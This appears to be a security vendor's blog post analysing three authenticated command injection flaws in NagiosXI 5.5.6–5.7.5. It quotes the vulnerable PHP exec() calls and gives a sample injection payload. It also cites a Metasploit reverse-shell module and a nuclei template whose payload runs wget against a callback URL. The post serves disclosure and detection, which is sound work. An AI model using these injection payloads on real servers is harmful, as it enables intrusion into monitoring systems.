Command Injection CVE-2021-25296: A Deep Dive
NagiosXI versions 5.5.6 to 5.7.5 are vulnerable to three different instances of command injection. While this was discovered in version 5.7.5 and a proof of concept was disclosed by fs0c-sh in early 2021, we discovered that the affected versions go as far back as 5.5.6, which was not in the initial advisory. Additionally, this vulnerability is still on CISA’s list of known exploited software. Due to its active exploitation, users of NagiosXI from 5.5.6 to 5.7.5 should upgrade when possible.
Note: A valid username/password pair is required to exploit these vulnerabilities because they are only accessible when authenticated to NagiosXI.
Command Injection in NagiosXI 5.5.6 to 5.7.5
A command injection vulnerability arises when unsanitized user-controlled input is used in a function that executes operating system commands. This can happen in a number of ways, but a classic example is through a function such as PHP’s exec()
, which is what happens in NagiosXI 5.5.6 to 5.7.5. Each CVE is associated with a different file where the command injection occurs. The following subsections detail each particular injection point.
Note: Code blocks were taken from version 5.7.5, and may look different in previous versions.
CVE-2021-25296
Code Location: /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php
In CVE-2021-25296, the plugin_output_len
variable is controlled by the user through a URL parameter, and is subsequently passed to the following code when using the windowswmi configuration wizard:
if (!empty($plugin_output_len)) { $disk_wmi_command .= " --forcetruncateoutput " . $plugin_output_len; $service_wmi_command .= " --forcetruncateoutput " . $plugin_output_len; $process_wmi_command .= " --forcetruncateoutput " . $plugin_output_len;}echo $disk_wmi_command;// Run the WMI plugin to get realtime infoexec($disk_wmi_command, $disk_output, $disk_return_var);exec($service_wmi_command, $service_output, $service_return_var);exec($process_wmi_command, $process_output, $process_return_var);
First, the plugin_output_len is appended to the preconfigured WMI commands without sanitizing the argument. They are then each passed into PHP’s exec function. If a shell operator is used to end the current command that is executed, a second command can also be executed. By using the end command operator, ;, we can now add an additional command to execute, giving us arbitrary code execution. Sending the following payload in the plugin_output_len parameter leads to a file being created in the /dev/shm directory, as shown in Figure 1:
9999; echo 'command Injection is dangerous' > /dev/shm/fastly.txt;
Figure 1: File Created by Command Injection
CVE-2021-25297
Code Location: /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php
In CVE-2021-25297, the address variable is controlled by the user through the ip_address URL parameter, and is subsequently passed to the following code when using the switch configuration wizard:
function switch_configwizard_add_cfg_to_mrtg($address){ // get the data that we need $mrtg_confd_dir = "/etc/mrtg/conf.d"; $mrtg_cfg_file = "{$address}.cfg"; $absolute_mrtg_cfg_file = "{$mrtg_confd_dir}/{$mrtg_cfg_file}"; $cfgmaker_file = switch_configwizard_get_walk_file($address);
// check if the file already exists for useful debugging $mrtg_confd_contents = scandir($mrtg_confd_dir); if (in_array($mrtg_cfg_file, $mrtg_confd_contents)) { debug("{$mrtg_cfg_file} exists in {$mrtg_confd_dir}, overwriting"); } else { debug("{$mrtg_cfg_file} does not exist in {$mrtg_confd_dir}, creating"); } // copy the cfgmaker file to the mrtg cfg destination if (!copy($cfgmaker_file, $absolute_mrtg_cfg_file)) { debug("Unable to copy from {$cfgmaker_file} to {$absolute_mrtg_cfg_file}"); return false; } // add some meta info to the file $infoline = "#### ADDED BY NAGIOSXI (User: ". get_user_attr(0, 'username') .", DATE: ". get_datetime_string(time()) .") ####\n"; exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file");
return true;}
First, the ip_address is appended to additional file paths without being sanitized. Afterwards, it is passed into PHP’s exec function. This time, we need to escape a shell string and end the current command with ';
before adding our own payload for arbitrary code execution.
CVE-2021-25298
Code Location: /usr/local/nagiosxi/html/includes/configwizards/cloud-vm/cloud-vm.inc.php
In CVE-2021-25298, the address variable is controlled by the user through the ip_address URL parameter, and is subsequently passed to the following code when using the digitalocean configuration wizard:
case CONFIGWIZARD_MODE_GETSTAGE2HTML: // Get variables that were passed to us $address = grab_array_var($inargs, "ip_address", ""); $port = grab_array_var($inargs, "port", ""); $token = grab_array_var($inargs, "token", ""); $no_ssl_verify = grab_array_var($inargs, "no_ssl_verify", 1); $hostname = grab_array_var($inargs, 'hostname', gethostbyaddr($address)); $default_mem_units = grab_array_var($inargs, 'default_mem_units', 'Gi'); $tcp_check_port = grab_array_var($inargs, 'tcp_check_port', '5693'); $rp_address = nagiosccm_replace_user_macros($address); $rp_port = nagiosccm_replace_user_macros($port); $rp_token = nagiosccm_replace_user_macros($token); $services_serial = grab_array_var($inargs, "services_serial", ""); if ($services_serial) { $services = unserialize(base64_decode($services_serial)); } $not_used = array(); $return_code = 0; $alternative_host_check = false; exec('ping -W 2 -c 1 ' . $rp_address, $not_used, $return_code);
The ip_address we pass in is lightly processed, and then passed into the exec function appended to a ping command. Similar to CVE-2021-25296, this allows us to end the first command with the ; operator and then execute arbitrary code.
Metasploit Module
Metasploit is an open source attack framework that security professionals use to exploit vulnerabilities, often during a testing scenario such as a penetration test. We created an exploit module for the three CVEs, named nagios_xi_configwizards_authenticated_rce. The module supports exploitation of each CVE through the windowswmi, switch, or digitalocean configuration wizards, and makes use of Metasploit’s NagiosXI mixin to authenticate and perform a version check before exploitation. During exploitation, the provided payload is executed (in this case, a reverse shell) and access to the target is achieved as the apache user, as shown in Figure 2:
Figure 2: Reverse Shell using Command Injection through Metasploit Module
Nuclei Template
Nuclei is an open source scanner that simplifies the detection of vulnerabilities and other misconfigurations based on templates. We created a unique nuclei template for each of the three command injection CVEs to assist users in detecting the vulnerable software. Executing the nuclei templates against NagiosXI 5.7.5 displays the vulnerabilities, as shown in Figure 3:
Figure 3: Nuclei Detection of Each CVE
Importantly, a short interactsh payload is sent in these templates (; wget {{interact_sh_url}};)
instead of just a version check, which allows the templates to be used for WAF testing.
Recommendations
Fastly recommends upgrading to the latest version of NagiosXI, and if possible, prevent it from being exposed on the internet. Either the metasploit module or nuclei template can be used to test for the presence of the vulnerability.
Note: Fastly’s NGWAF detects exploitation attempts of CVE-2021-25296, CVE-2021-25297, and CVE-2021-25298 by default.
References
NVD:
Metasploit Module:
Nuclei Templates:
Original PoC: